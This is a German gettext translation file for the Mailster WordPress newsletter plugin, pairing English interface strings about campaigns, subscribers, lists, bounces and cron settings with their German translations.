msgid "Use Form Default" msgstr "vom Formular bestimmt" #: views/settings/general.php:39 msgid "Decide how Mailster uses the wp_mail function." msgstr "Entscheide wie Mailster die wp_mail function verwendet." #: views/settings/bounce.php:76 msgid "%s attempts to deliver message until hardbounce" msgstr "%s Versuche die Nachricht zu versenden bevor diese endgültig als unzustellbar markiert wird" #: classes/forms.table.class.php:220 classes/lists.table.class.php:187 #: classes/subscribers.table.class.php:334 views/manage.php:30 #: views/templates.php:82 msgid "Delete" msgstr "Löschen" #: classes/lists.class.php:281 msgid "Segment created by %s" msgstr "Segment erstellt von %s" #: views/settings/template.php:63 msgid "Use High DPI or retina ready images if available." msgstr "Verwende High DPI (Retina Ready) Bilder wenn möglich." #: classes/settings.class.php:410 classes/widget.class.php:534 #: views/settings/subscribers.php:108 msgid "default" msgstr "standard" #: classes/campaigns.class.php:4586 msgid "%s bounce" msgid_plural "%s bounces" msgstr[0] "%s unzustellbar" msgstr[1] "%s unzustellbar" #: views/newsletter/submit.php:39 msgid "Delete Permanently" msgstr "Dauerhaft löschen" #: classes/lists.class.php:203 msgid "List saved" msgstr "Liste gespeichert" #: classes/lists.class.php:262 msgid "Segments" msgstr "Segmente" #: views/setup/basics.php:33 msgid "Use High DPI version if available." msgstr "Verwende High DPI (Retina Ready) Bilder wenn möglich." #: views/settings/delivery.php:95 msgid "define a delay between mails in milliseconds if you have problems with sending two many mails at once" msgstr "bestimme eine Verzögerung in Millisekunden falls du Probleme beim Versenden von zu vielen E-Mails auf einmal hast" #: classes/ajax.class.php:1087 classes/campaigns.class.php:4582 msgid "%s click" msgid_plural "%s clicks" msgstr[0] "%s Klick" msgstr[1] "%s Klicks" #: views/settings/wordpress-users.php:67 views/subscribers/detail.php:73 msgid "Delete Subscriber" msgstr "Abonnent löschen" #: views/manage/export.php:88 msgid "Listnames" msgstr "Listennamen" #: classes/templates.class.php:1715 views/manage/method-upload.php:93 msgid "Select File" msgstr "Datei auswählen" #: views/settings/general.php:43 msgid "Use Mailster for all outgoing WordPress mails" msgstr "Verwende Mailster für alle emails die du mit Wordpress versendest" #: views/forms/detail.php:115 views/forms/detail.php:148 msgid "define a label for this field" msgstr "bestimme die Bezeichnung für dieses Feld" #: classes/manage.class.php:352 msgid "%s contacts are hidden" msgstr "%s Kontakte wurden ausgeblendet" #: views/settings/wordpress-users.php:69 msgid "Delete Subscriber if the WordPress User gets deleted" msgstr "Lösche Abonnenten wenn der WordPress Benutzer gelöscht wird" #: classes/form.class.php:476 classes/forms.class.php:297 #: classes/forms.class.php:827 classes/lists.class.php:13 #: classes/lists.table.class.php:14 classes/manage.class.php:265 #: classes/manage.class.php:1052 classes/notification.class.php:787 #: classes/settings.class.php:267 includes/updates.php:50 #: views/dashboard/mb-quicklinks.php:47 views/lists/overview.php:2 #: views/manage/delete.php:13 views/manage/export.php:36 #: views/newsletter/receivers.php:67 views/settings/texts.php:29 #: views/subscribers/detail.php:264 build/forms/form-wrapper/index.js:1 #: build/forms/lists/index.js:1 build/workflows/action/index.js:1 #: build/workflows/trigger/index.js:1 msgid "Lists" msgstr "Listen" #: classes/campaigns.class.php:1782 classes/helper.class.php:729 msgid "Select Image" msgstr "Bild wählen" #: views/settings/delivery.php:100 msgid "define a maximum execution time to prevent server timeouts. If set to zero, no time limit is imposed." msgstr "bestimme eine max. Ausführungzeit um Servertimeouts zu verhindern. Bei Null wird kein Zeitlimit gesetzt" #: classes/campaigns.class.php:1766 msgid "%s does not contain a valid image" msgstr "%s entält kein gültiges Bild" #: views/manage.php:14 msgid "Delete Subscribers" msgstr "Abonnenten Löschen" #: classes/lists.class.php:153 msgid "Lists have been merged. Please update your %s if necessary!" msgstr "Listen wurden zusammengeführt. Bitte aktualisiere deine %s!" #: views/newsletter/editbar.php:217 msgid "Select a post" msgstr "Artikel auswählen" #: views/newsletter/delivery.php:69 views/newsletter/delivery.php:203 #: views/newsletter/delivery.php:252 views/newsletter/delivery.php:403 msgid "Use Subscribers timezone" msgstr "Benutze Zeitzonen der Abonnenten" #: views/forms/detail.php:122 views/forms/detail.php:155 msgid "define an error message for this field" msgstr "Bestimme die Fehlermeldung für dieses Feld" #: classes/notification.class.php:1223 msgid "%s has canceled" msgstr "%s hat sich abgemeldet" #: views/manage/delete.php:69 msgid "Delete Subscribers permanently" msgstr "Lösche Abonnenten" #: views/settings/tags.php:78 msgid "Use a fallback for dynamic image tags if the image doesn't exist." msgstr "Verwende diese Bild falls in einem dynamischen tag eines nicht verfügbar ist." #: classes/notification.class.php:755 msgid "%s has joined" msgstr "%s hat sich angemeldet" #: views/settings/wordpress-users.php:73 msgid "Delete WordPress User" msgstr "WordPress User löschen" #: views/settings/template.php:18 msgid "Use a logo for new created campaigns" msgstr "Verwende ein Logo für neue Kampagnen" #: views/forms/detail.php:63 msgid "Delete Form" msgstr "Formular löschen" #: classes/settings.class.php:420 msgid "%s is a reserved tag!" msgstr "%s ist ein reservierter Tag" #: views/settings/wordpress-users.php:83 msgid "Delete WordPress User if the Subscriber gets deleted" msgstr "lösche den WordPress User wenn der Abonnent gelöscht wird" #: classes/settings.class.php:416 msgid "Loading" msgstr "Lade" #: views/forms/detail.php:272 msgid "Selector Prefix" msgstr "Selector Prefix" #: views/settings/cron.php:18 msgid "Use a real cron to send newsletters" msgstr "Benutze einen echten Cron Dienst um Newsletter zu senden" #: views/lists/detail.php:57 msgid "Delete List" msgstr "Liste löschen" #: classes/ajax.class.php:1780 msgid "%s is forwarding an email to you!" msgstr "%s hat Ihnen eine E-Mail weitergeleitet" #: views/settings/bounce.php:57 msgid "Delete messages" msgstr "Nachrichten löschen" #: classes/mailster.class.php:1561 classes/mailster.class.php:1589 msgid "Loading Languages" msgstr "Lade Sprachen" #: classes/settings.class.php:1677 msgid "Self Signed Certificates" msgstr "Eigene Zertifikate" #: classes/forms.class.php:1584 msgid "Use a shortcode on a blog post, page or wherever they are excepted." msgstr "Verwende einen Shortcode in Beiträgen, Seiten oder überall wo sie akzeptiert werden." #: views/lists/detail.php:60 msgid "Delete List with Subscribers" msgstr "Liste mit allen Abonnenten löschen" #: classes/forms.class.php:1360 msgid "%s is missing" msgstr "%s fehlt" #: views/settings/bounce.php:58 msgid "Delete messages without tracking code to keep postbox clear (recommended)" msgstr "Andere Nachrichten ohne Trackingcode in diesem Postfach löschen (empfohlen)" #: views/subscribers/detail.php:350 msgid "Local Time" msgstr "Lokale Zeit" #: views/settings/general.php:20 msgid "Send Campaigns based on the subscribers timezone if known" msgstr "Sende Kampagnen basierend auf die Zeitzone der Abonnenten " #: classes/manage.class.php:421 msgid "Use a signup date if not defined" msgstr "Verwende ein Anmeldedatum falls nicht definiert" #: classes/campaigns.class.php:1776 msgid "Delete this color schema?" msgstr "Dieses Farbschema löschen?" #: classes/conditions.class.php:241 classes/subscribers.class.php:1940 msgid "Location" msgstr "Ort" #: views/newsletter/test.php:10 views/newsletter/test.php:13 #: views/settings/advanced.php:47 views/settings/advanced.php:51 #: views/settings/delivery.php:104 views/settings/delivery.php:108 #: views/setup/delivery.php:97 msgid "Send Test" msgstr "Testnachricht senden" #: views/templates.php:77 msgid "Use as default" msgstr "Als Standard" #: classes/settings.class.php:796 msgid "%s is not a valid email address" msgstr "%s ist keine gültige E-Mailadresse" #: classes/lists.table.class.php:188 msgid "Delete with subscribers" msgstr "mit allen Abonnenten löschen" #: classes/template.class.php:274 views/settings/template.php:17 #: views/setup/basics.php:29 msgid "Logo" msgstr "Logo" #: views/settings/subscribers.php:24 msgid "Send a notification if subscribers cancel their subscription to following receivers (comma separated)" msgstr "Sende eine Benachrichtigung falls ein Abonnent sich abmeldet zu folgenden Adressen (durch Komma getrennt)" #: views/manage/method-wordpress.php:23 msgid "Handle following meta values" msgstr "Verwende folgende Metadaten" #: includes/capability.php:17 msgid "delete campaigns" msgstr "Kampagnen löschen" #: classes/campaigns.class.php:1305 classes/campaigns.class.php:1336 msgid "%s of opens" msgstr "%s der geöffneten" #: classes/campaigns.class.php:460 views/settings.php:41 msgid "Delivery" msgstr "Versand" #: views/settings/subscribers.php:6 msgid "Send a notification of new subscribers to following receivers (comma separated)" msgstr "Sende eine Benachrichtigung über neue Abonnenten an folgende Empfänger (durch Komma getrennt)" #: includes/capability.php:125 includes/capability.php:231 msgid "delete forms" msgstr "Formular löschen" #: classes/automation.class.php:905 classes/automation.class.php:921 #: classes/automation.class.php:925 classes/automation.class.php:943 #: classes/automation.class.php:947 classes/campaigns.class.php:1277 #: classes/campaigns.class.php:1302 classes/campaigns.class.php:1309 #: classes/campaigns.class.php:1333 classes/campaigns.class.php:1340 msgid "%s of sent" msgstr "%s der gesendeten" #: views/settings/delivery.php:128 msgid "Delivery Method" msgstr "Sendemethode" #: views/settings/cron.php:60 msgid "Looks like your Cron Lock is still in place after %1$s! Read more about why this can happen %2$s." msgstr "Es scheint der Cron Lock ist nach %1$s noch immer aktiv! Lies %2$s mehr warum das passieren kann." #: views/settings/general.php:15 msgid "Send delay" msgstr "Sendeverzögerung" #: views/forms/detail.php:81 msgid "Use it!" msgstr "Use it!" #: includes/capability.php:272 msgid "delete lists" msgstr "Listen löschen" #: classes/automation.class.php:963 classes/campaigns.class.php:1362 msgid "%s of totals" msgstr "%s der gesamten" #: views/newsletter/delivery.php:500 msgid "Low" msgstr "Niedrig" #: views/settings/cron.php:11 msgid "Send emails at most every %1$s minutes" msgstr "Sende Nachrichten höchstens alle %1$s Minuten" #: views/settings/template.php:30 msgid "Use links to your social account in your campaigns" msgstr "Verwende links von Social Media Accounts in deinen Kampagnen" #: includes/capability.php:42 msgid "delete others campaigns" msgstr "Kampagnen anderer löschen" #: classes/notification.class.php:962 classes/notification.class.php:1350 msgid "%s other" msgid_plural "%s others" msgstr[0] "%s anderer" msgstr[1] "%s andere" #: views/settings/general.php:19 msgid "Delivery by Time Zone" msgstr "Versand nach Zeitzone" #: classes/template.class.php:639 msgctxt "common module name" msgid "Macbook Promotion" msgstr "Macbook Promotion" #: views/settings/general.php:44 msgid "Use only the template for all outgoing WordPress mails" msgstr "Verwende nur das Template für alle WordPress E-Mails" #: includes/capability.php:211 msgid "delete subscribers" msgstr "Abonnenten löschen" #: views/settings/texts.php:38 msgid "Mail" msgstr "E-Mail" #: views/newsletter/delivery.php:312 msgid "Use the %s tag to display the current issue in the campaign" msgstr "Verwende den %s Platzhalter um die aktuelle Ausgabe in der Kampagne anzuzeigen" #: includes/capability.php:309 msgid "delete templates" msgstr "Templates löschen" #: classes/subscribers.class.php:3736 classes/subscribers.class.php:3742 msgid "%s soft bounce" msgid_plural "%s soft bounces" msgstr[0] "%s temporär unzustellbar" msgstr[1] "%s temporär unzustellbar" #: views/settings/template.php:69 msgid "Depending on your used template these features may not work!" msgstr "Abhängig von deinem verwendetem Template funktioniert diese Feature vielleicht nicht!" #: views/lists/detail.php:114 msgid "Mail sent" msgid_plural "Mails sent" msgstr[0] "Nachricht gesendet" msgstr[1] "Nachrichten gesendet" #: views/settings/cron.php:17 msgid "Use the wp_cron function to send newsletters" msgstr "Benutze die wp_cron Funktion um Newsletter zu senden" #: views/newsletter/details.php:139 views/newsletter/details.php:146 #: views/newsletter/details.php:154 views/newsletter/details.php:171 #: views/newsletter/details.php:209 msgid "details" msgstr "Details" #: classes/subscribers.class.php:340 msgid "%s subscriber has been verified!" msgid_plural "%s subscribers have been verified!" msgstr[0] "%s Abonnent wurde verifiziert!" msgstr[1] "%s Abonnenten wurden verifiziert!" #: classes/lists.class.php:37 classes/privacy.class.php:162 #: views/lists/detail.php:78 msgid "Description" msgstr "Beschreibung" #: classes/lists.table.class.php:192 classes/subscribers.table.class.php:336 msgid "Send new Campaign" msgstr "Neu Kampagne senden" #: views/settings/manage-settings.php:5 msgid "Use this data to copy your settings between Mailster installations. This data contains sensitive information like passwords so don't share them. Capabilities are not included." msgstr "Verwende diese Daten um deine Einstellungen zwischen zwei Mailster Installationen zu kopieren. Diese Daten enthalten sicherheitsrelevante Informationen und sollten wie Passwörter behandelt werden. Rechte werden nicht exportiert." #: classes/subscribers.class.php:336 msgid "%s subscriber has not been verified!" msgid_plural "%s subscribers have not been verified!" msgstr[0] "%s Abonnent wurde nicht verifiziert!" msgstr[1] "%s Abonnenten wurden nicht verifiziert!" #: classes/forms.table.class.php:127 classes/tinymce.class.php:195 #: classes/widget.class.php:532 views/forms/detail.php:89 #: views/forms/detail.php:101 views/forms/detail.php:167 msgid "Design" msgstr "Design" #: classes/mailster.class.php:1343 classes/mailster.class.php:1453 msgid "Mailster Setup" msgstr "Mailster Setup" #: views/newsletter/submit.php:88 views/newsletter/submit.php:154 #: views/newsletter/submit.php:185 views/single-newsletter.php:122 msgid "Send now" msgstr "Jetzt senden" #: classes/forms.class.php:1587 msgid "Use this form as a %s in one of your sidebars" msgstr "Verwende dieses Formular als %s in einer deiner Seitenleisten" #: classes/manage.import.wordpress.php:70 msgid "Display Name" msgstr "Angezeigter Name" #: classes/manage.class.php:1439 msgid "%s Subscriber removed." msgid_plural "%s Subscribers removed." msgstr[0] "%s Abonnent entfernt." msgstr[1] "%s Abonnenten entfernt." #: classes/conditions.class.php:893 views/newsletter/details.php:162 msgid "Desktop" msgstr "Desktop" #: classes/tinymce.class.php:143 msgid "Mailster Tags" msgstr "Mailster Tags" #: views/newsletter/delivery.php:68 views/newsletter/delivery.php:202 #: views/newsletter/delivery.php:251 views/newsletter/delivery.php:402 msgid "Send this campaign based on the subscribers timezone if known" msgstr "Sende diese Kampagne - fallse bekannt - basierend auf die Zeitzone der Abonnenten" #: views/settings/manage-settings.php:27 msgid "Use this options to reset the data to Mailster default values." msgstr "Verwende diese Option um die die Standardwerte für Mailster wieder herzustellen." #: views/settings/tags.php:53 views/settings/tags.php:54 #: views/settings/tags.php:55 views/settings/tags.php:56 msgid "displays %1$s to share the newsletter via %2$s" msgstr "zeige %1$s um den Newsletter mit %2$s zu teilen" #: classes/ajax.class.php:1087 msgid "%s unique" msgstr "%s eindeutige" #: classes/campaigns.class.php:453 msgid "Details" msgstr "Details" #: classes/templates.class.php:1694 msgid "Mailster Template ZIP file" msgstr "Mailster Template ZIP Datei" #: views/setup/finish.php:37 msgid "Send your latest posts automatically" msgstr "Sende deine letzten Beiträge automatisch" #: classes/forms.class.php:1602 msgid "Use this shortcode wherever they are excepted." msgstr "Verwende diesen Shortcode überall dort wo er akzeptiert wird" #: views/settings/tags.php:65 msgid "displays the feature image of the fourth latest posts. Uses the image with ID 23 if the post doesn't have a feature image" msgstr "zeigt das Artikelbild des viertletzten Artikels. Verwendet das Bild mit der ID 23 falls der Artikel kein Bild hat" #: views/dashboard/mb-subscribers.php:10 msgid "1 year" msgstr "1 Jahr" #: classes/notification.class.php:312 classes/notification.class.php:317 msgid "Mailster Test Email" msgstr "Mailster Test Nachricht" #: classes/campaigns.class.php:4500 msgid "Sent Date" msgstr "Sendedatum" #: classes/forms.class.php:244 views/forms/detail.php:451 msgid "Use your form as" msgstr "Verwende dein Formular als" #: views/settings/tags.php:64 msgid "displays the feature image of the latest posts" msgstr "zeigt das Artikelbild des letzten Artikels" #: views/dashboard/mb-subscribers.php:9 msgid "3 month" msgstr "3 Monate" #: views/settings/advanced.php:13 msgid "Disable Object Cache for Mailster" msgstr "Objektcache für Mailster deaktivieren" #: classes/campaigns.class.php:5011 classes/mail.class.php:206 msgid "Sent limit of %1$s reached! You have to wait %2$s before you can send more mails!" msgstr "Sendelimit von %1$s erreicht! Du musst noch %2$s warten bis du wieder mehr E-Mails verschicken kannst!" #: classes/forms.class.php:1593 msgid "Use your form via the HTML markup. This is often required by third party plugins. You can choose between an iframe or the raw HTML." msgstr "Verwende dein Formular mittels HTML Markup. Dies wird oft von anderen Plugins verlangt. Du kannst zwischen iFrame oder einfaches HTML wählen." #: views/settings/tags.php:63 msgid "displays the fourth latest page title" msgstr "zeigt den viertletzten Artikel" #: views/dashboard/mb-subscribers.php:8 msgid "30 days" msgstr "30 Tage" #: views/settings/frontend.php:48 msgid "Discourage search engines from indexing your campaigns" msgstr "Suchmaschinen davon abhalten, diese Website zu indexieren" #: includes/functions.php:1404 msgid "Mailster has been updated to %s." msgstr "Mailster wurde auf Version %s aktualisiert." #: classes/template.class.php:635 msgctxt "common module name" msgid "Separator" msgstr "Unterteiler" #: classes/tinymce.class.php:87 views/subscribers/detail.php:421 msgid "User" msgstr "Benutzer" #: views/settings/tags.php:42 msgid "displays the last tweet from Twitter user [username] (cache it for %s minutes)" msgstr "zeigt den letzten Tweet von Twitteruser [username] (wird für %s minuten zwischengespeichert)" #: views/dashboard/mb-subscribers.php:7 msgid "7 days" msgstr "7 Tage" #: classes/mailster.class.php:498 msgid "Dismiss this notice (Alt-click to dismiss all notices)" msgstr "Meldung verwerfen (Alt-Klick um alle Meldungen zu verwerfen)" #: classes/ajax.class.php:2657 msgid "Mailster is available in your language!" msgstr "Mailster ist in deiner Sprache verfügbar!" #: classes/conditions.class.php:325 msgid "User Level" msgstr "Benutzer Level" #: views/settings/tags.php:62 msgid "displays the latest post title" msgstr "zeigt den letzten Artikel" #: views/settings/cron.php:71 msgid "A Cron Lock ensures your cron is not overlapping and causing duplicate emails. Select which method you like to use." msgstr "Ein Cron Lock stellt sicher, dass das sich zwei Prozesse nicht überschneiden und verhindert somit doppelt gesendete E-mails. Wähle die Methode, die du verwenden möchtest." #: classes/widget.class.php:393 msgid "Display a button to let users subscribe" msgstr "Benutze einen Button mit dem Besucher sich anmelden können" #: classes/queue.class.php:1211 msgid "Mailster is not able to send your campaign cause of a server timeout. Please increase the %1$s on the %2$s" msgstr "Mailster kann deine Kampagnen wegen eines Server Timeouts nicht senden. Bitte erhöhe die %1$s in the %2$s" #: classes/template.class.php:636 msgctxt "common module name" msgid "Separator with button" msgstr "Unterteiler mit Button" #: classes/lists.class.php:884 msgid "A merged list of" msgstr "Eine zusammengeführte Liste von" #: classes/forms.class.php:1661 classes/tinymce.class.php:193 msgid "Display subscriber count" msgstr "Zeigen Abonenntenanzahl" #: classes/ajax.class.php:2662 msgid "Mailster is not available in your languages!" msgstr "Mailster is leider nicht in deiner Sprache erhältlich!" #: views/settings/bounce.php:33 msgid "Server Address : Port" msgstr "Server Adresse : Port" #: views/subscribers/detail.php:94 msgid "User Rating" msgstr "Benutzerbewertung" #: views/dashboard/mb-mailster.php:51 msgid "A new Version is available" msgstr "Eine neue Version is verfügbar" #: classes/widget.class.php:126 msgid "Display the most recent newsletters" msgstr "Zeigt die letzten Newsletter" #: views/newsletter/delivery.php:41 msgid "Server time: %1$s %2$s" msgstr "Serverzeit: %1$s %2$s" #: classes/conditions.class.php:326 msgid "User Role" msgstr "Benutzerrolle" #: classes/settings.class.php:276 msgid "A new confirmation message has been sent" msgstr "Eine neue Bestätigungsnachricht wurde gesendet" #: classes/widget.class.php:267 msgid "Display the number of your Subscribers" msgstr "Zeige die Anzahl deiner Abonnenten" #: views/settings/bounce.php:23 msgid "Service" msgstr "Service" #: classes/subscribers.class.php:1334 msgid "User doesn't exist!" msgstr "Benutzer existiert nicht!" #: classes/notification.class.php:160 msgid "A new user has subscribed to your newsletter!" msgstr "Ein neuer Benutzer hat sich zu deinem Newsletter angemeldet!" #: views/newsletter/optionbar.php:26 msgid "Distraction-free edit mode" msgstr "Störungsfreier Modus" #: views/settings/delivery.php:91 msgid "Mailster will change the status to \"pause\" if an error occur otherwise it tries to finish the campaign" msgstr "Mailster wird den Status auf \"Pause\" ändern falls ein Fehler Auftritt. Sonst wird versucht die Kampagne zu beenden" #: views/settings/frontend.php:70 msgid "Services" msgstr "Services" #: views/subscribers/detail.php:429 msgid "User has never opened a campaign" msgstr "Benutzer hat noch nie eine Kampagne geöffnet" #: views/single-newsletter.php:118 msgid "A personal note to your friend" msgstr "Eine persönliche Nachricht von Ihnen" #: views/settings/general.php:42 msgid "Do not use Mailster for outgoing WordPress mails" msgstr "Mailster nicht für WordPress eigene E-Mails verwenden" #: views/settings/advanced.php:23 msgid "Mailster will remove all it's data if you delete the plugin via the plugin page." msgstr "Mailster wird alle Daten entfernen wenn du das Plugin über die Pluginseite löschst." #: classes/forms.table.class.php:128 classes/mailster.class.php:1292 #: classes/settings.class.php:375 views/forms/detail.php:91 #: views/logging/overview.php:12 msgid "Settings" msgstr "Einstellungen" #: views/subscribers/detail.php:278 msgid "User has not been assigned to a list" msgstr "Benutzer ist mit keiner Liste verknüpft" #: classes/campaigns.class.php:4461 msgctxt "segment of all [recipients] from campaign [campaign]" msgid "A segment of all %1$s of %2$s" msgstr "Ein Teil aller %1$s von %2$s" #: views/forms/detail.php:160 msgid "Settings Page" msgstr "Einstellungsseite" #: classes/campaigns.class.php:5002 msgid "User has not subscribed" msgstr "Benutzer ist nicht angemeldet" #: classes/notification.class.php:189 msgid "A user has canceled your newsletter!" msgstr "Ein Abonnent hat sich von deinem Newsletter abgemeldet!" #: views/subscribers/overview.php:32 msgid "Do you like to select all %s subscribers?" msgstr "Willst du wirklich alle %s Abonnenten auswählen?" #: views/settings.php:49 msgid "Manage Settings" msgstr "Einstellungen verwalten" #: classes/settings.class.php:1420 msgid "Settings are the same. Nothing to import!" msgstr "Einstellungen sind die selben. Import abgebrochen!" #: classes/settings.class.php:1669 views/settings/bounce.php:45 msgid "Username" msgstr "Benutzername" #: views/settings/tags.php:47 msgid "Access token" msgstr "Access token" #: classes/campaigns.class.php:1777 msgid "Do you really like to delete all custom color schema for this template?" msgstr "Willst du wirklich alle eigenen Farbschemata für dieses Template löschen?" #: classes/manage.class.php:75 views/manage.php:16 msgid "Manage Subscribers" msgstr "Abonnenten verwalten" #: classes/settings.class.php:701 msgid "Settings imported!" msgstr "Einstellungen wurden importiert!" #: views/dashboard/mb-mailster.php:16 msgid "Validated!" msgstr "Validiert!" #: views/settings/tags.php:48 msgid "Access token Secret" msgstr "Access token Secret" #: classes/campaigns.class.php:1601 msgid "Do you really like to finish this campaign?" msgstr "Möchtest du wirklich die Kampagne beenden" #: views/lists/detail.php:138 views/subscribers/detail.php:434 msgid "Action" msgstr "Aktion" #: classes/mailster.class.php:1614 classes/manage.class.php:113 msgid "Do you really like to import these contacts?" msgstr "Willst du wirklich diese Kontakte importieren?" #: views/settings/cron.php:104 msgid "Max Execution Time" msgstr "Max Execution Time" #: views/single-newsletter.php:82 msgid "Share" msgstr "Teilen" #: classes/automation.class.php:1007 classes/campaigns.class.php:1395 #: views/addons/addon.php:68 msgid "Activate" msgstr "aktivieren" #: classes/campaigns.class.php:1746 msgid "Do you really like to remove all modules?" msgstr "Möchtest du wirklich alle Module entfernen?" #: classes/queue.class.php:1211 views/settings/delivery.php:99 msgid "Max. Execution Time" msgstr "Max. Ausführungszeit" #: views/settings/frontend.php:65 msgid "Share Button" msgstr "Schaltfläche zum Teilen" #: classes/subscribers.table.class.php:338 msgid "Verify" msgstr "Verifizieren" #: classes/templates.class.php:867 msgid "Do you really like to remove file %1$s from template %2$s?" msgstr "Willst du wirklich die Datei %1$s vom Template %2$s löschen?" #: classes/templates.class.php:1716 views/manage/method-upload.php:109 msgid "Maximum upload file size: %s." msgstr "Maximale Dateigröße eines Uploads: %s" #: views/single-newsletter.php:135 msgid "Share the link" msgstr "Teile den Link" #: classes/mailster.class.php:1566 classes/mailster.class.php:1594 msgid "Activating Add on" msgstr "Erweiterung aktivieren" #: views/forms/detail.php:63 msgid "Do you really like to remove this form?" msgstr "Willst du dieses Formular wirklich löschen?" #: views/newsletter/editbar.php:187 msgid "Media Manager" msgstr "Media Manager" #: classes/placeholder.class.php:444 classes/template.class.php:354 msgid "Share this on %s" msgstr "Teil das auf %s" #: classes/automation.class.php:781 classes/campaigns.class.php:390 #: classes/campaigns.class.php:392 views/addons/addon.php:62 msgid "Active" msgstr "Aktiv" #: views/lists/detail.php:60 msgid "Do you really like to remove this list with all subscribers?" msgstr "Willst du wirklich diese Liste mit allen Abonnenten löschen?" #: classes/lists.table.class.php:191 msgid "Merge selected Lists" msgstr "Listen zusamenführen" #: views/single-newsletter.php:88 views/single-newsletter.php:94 msgid "Share this via %s" msgstr "Teile das via %s" #: views/dashboard/mb-quicklinks.php:23 views/dashboard/mb-quicklinks.php:32 #: views/dashboard/mb-quicklinks.php:40 views/dashboard/mb-quicklinks.php:50 #: views/dashboard/mb-quicklinks.php:58 msgid "View" msgstr "Ansehen" #: views/lists/detail.php:134 views/subscribers/detail.php:417 msgid "Activity" msgstr "Aktivitäten" #: views/lists/detail.php:57 msgid "Do you really like to remove this list?" msgstr "Willst du wirklich diese Liste löschen?" #: classes/lists.class.php:877 msgid "Merged List #%d" msgstr "Zusammengeführte Liste #%d" #: views/single-newsletter.php:105 msgid "Share with %s" msgstr "Teile mit %s" #: classes/campaigns.class.php:335 classes/campaigns.class.php:801 #: classes/campaigns.class.php:806 msgid "View Newsletter" msgstr "Newsletter anzeigen" #: classes/campaigns.class.php:1783 views/newsletter/attachment.php:45 msgid "Add Attachment" msgstr "Anhang hinzufügen" #: views/subscribers/detail.php:73 views/subscribers/detail.php:74 msgid "Do you really like to remove this subscriber?" msgstr "Willst du wirklich diesen Abonnent löschen?" #: classes/ajax.class.php:888 msgid "Message sent. Check your inbox!" msgstr "Nachricht gesendet. Überprüfe den Posteingang!" #: classes/block-forms.class.php:242 classes/forms.class.php:295 #: classes/forms.class.php:1583 classes/forms.class.php:1599 msgid "Shortcode" msgstr "Shortcode" #: classes/subscribers.class.php:863 msgid "WP user on %s" msgstr "WP Benutzer am %s" #: views/dashboard/mb-quicklinks.php:59 msgid "Add Form" msgstr "Formular hinzufügen" #: views/subscribers/detail.php:501 msgid "Do you really like to resend campaign %1$s to %2$s?" msgstr "Wills du wirklich die Kampagne %1$s erneut an %2$s senden?" #: views/conditions/conditions.php:20 msgid "Meta Data" msgstr "Metadaten" #: classes/widget.class.php:544 msgid "Show Count" msgstr "Zeige Zähler" #: views/single-newsletter.php:128 msgid "We respect your privacy. Nothing you enter on this page is saved by anyone" msgstr "Wir respektieren Ihre Privatsphäre. Keiner Ihrer Angaben wird von irgendjemanden gespeichert" #: classes/helper.class.php:727 msgid "Add Image" msgstr "Bild hinzufügen" #: views/subscribers/detail.php:69 msgid "Do you really like to resend the confirmation?" msgstr "Willst du die Bestätigung wirklich erneut senden?" #: views/settings/wordpress-users.php:13 msgid "Meta Data List" msgstr "Metadatenliste" #: views/newsletter/details.php:164 msgid "Web Client" msgstr "Webklient" #: views/dashboard/mb-quicklinks.php:51 msgid "Add List" msgstr "Liste erstellen" #: views/settings/capabilities.php:38 msgid "Do you really like to reset all capabilities? This cannot be undone!" msgstr "Willst du wirklich alle Berechtigungen zurücksetzten? Dieser Vorgang kann nicht rückgängig gemacht werden!" #: views/settings/wordpress-users.php:35 msgid "Meta Fields" msgstr "Metadaten" #: views/settings/general.php:30 msgid "Show thumbnails of modules in the editor if available" msgstr "Zeige Modulethumbnails im Editor falls verfügbar" #: classes/tinymce.class.php:94 msgid "Webversion" msgstr "Webansicht" #: classes/campaigns.class.php:1749 msgid "Add Module" msgstr "Modul hinzufügen" #: classes/settings.class.php:423 msgid "Do you really like to reset the options? This cannot be undone!" msgstr "Möchtest du wirklich die Einstellungen zurücksetzten? Dieser Schritt kann nicht rückgängig gemacht werden!" #: classes/widget.class.php:538 msgid "Minimal" msgstr "Minimalistisch" #: classes/widget.class.php:9 msgid "Sign Up form for the newsletter" msgstr "Anmeldeformular für den Newsletter" #: views/settings/texts.php:41 msgid "Webversion Link" msgstr "Webansicht Link" #: classes/block-forms.class.php:602 classes/forms.table.class.php:48 #: classes/lists.table.class.php:44 classes/subscribers.table.class.php:100 #: views/forms/detail.php:77 views/forms/overview.php:5 #: views/lists/detail.php:51 views/lists/overview.php:4 #: views/subscribers/detail.php:60 views/subscribers/overview.php:16 msgid "Add New" msgstr "Hinzufügen" #: classes/dashboard.class.php:215 msgid "Do you really like to reset your license for this site?" msgstr "Willst du deine Lizenz für diese Seite wirklich zurücksetzten?" #: classes/conditions.class.php:895 views/newsletter/details.php:163 #: build/forms/form-wrapper/index.js:1 msgid "Mobile" msgstr "Mobil" #: classes/settings.class.php:260 includes/updates.php:170 msgid "Sign up to our newsletter" msgstr "Unseren Newsletter abonnieren" #: classes/addons.class.php:38 classes/mailster.class.php:1291 msgid "Add Ons" msgstr "Erweiterungen" #: classes/campaigns.class.php:1781 msgid "Do you really like to send this campaign now?" msgstr "Willst du die Kampagne wirklich jetzt senden?" #: views/settings/general.php:29 msgid "Module Thumbnails" msgstr "Vorschaubilder für Module" #: classes/manage.class.php:255 msgid "Signup + Confirm Date" msgstr "Anmelde + Bestätigungsdatum" #: views/setup/start.php:11 msgid "Welcome to Mailster" msgstr "Willkommen zu Mailster" #: views/dashboard/mb-quicklinks.php:43 views/dashboard/mb-subscribers.php:29 msgid "Add Subscriber" msgstr "Abonnent hinzufügen" #: classes/tinymce.class.php:186 includes/static.php:43 includes/static.php:62 msgid "Do you really want to unsubscribe?" msgstr "Wollen Sie sich wirklich abmelden?" #: views/newsletter/template.php:73 msgid "Modules" msgstr "Module" #: classes/manage.class.php:253 classes/manage.class.php:1071 #: views/manage/export.php:98 msgid "Signup Date" msgstr "Anmeldedatum" #: views/dashboard/mb-subscribers.php:37 msgid "Add a single Subscriber" msgstr "Einen Abonnenten hinzufügen" #: views/dashboard/mb-mailster.php:64 msgid "Documentation" msgstr "Dokumentation" #: classes/manage.class.php:1074 views/manage/export.php:99 msgid "Signup IP" msgstr "Anmelde IP" #: views/newsletter/attachment.php:38 msgid "Add an attachment to your campaign." msgstr "Füge einen Anhang zu deiner Kampagne hinzu." #: classes/ajax.class.php:2153 classes/ajax.class.php:2171 #: classes/ajax.class.php:2208 msgid "Domain %s" msgstr "Domain %s" #: views/subscribers/detail.php:393 msgid "Most popular client" msgstr "Beliebtester Klient" 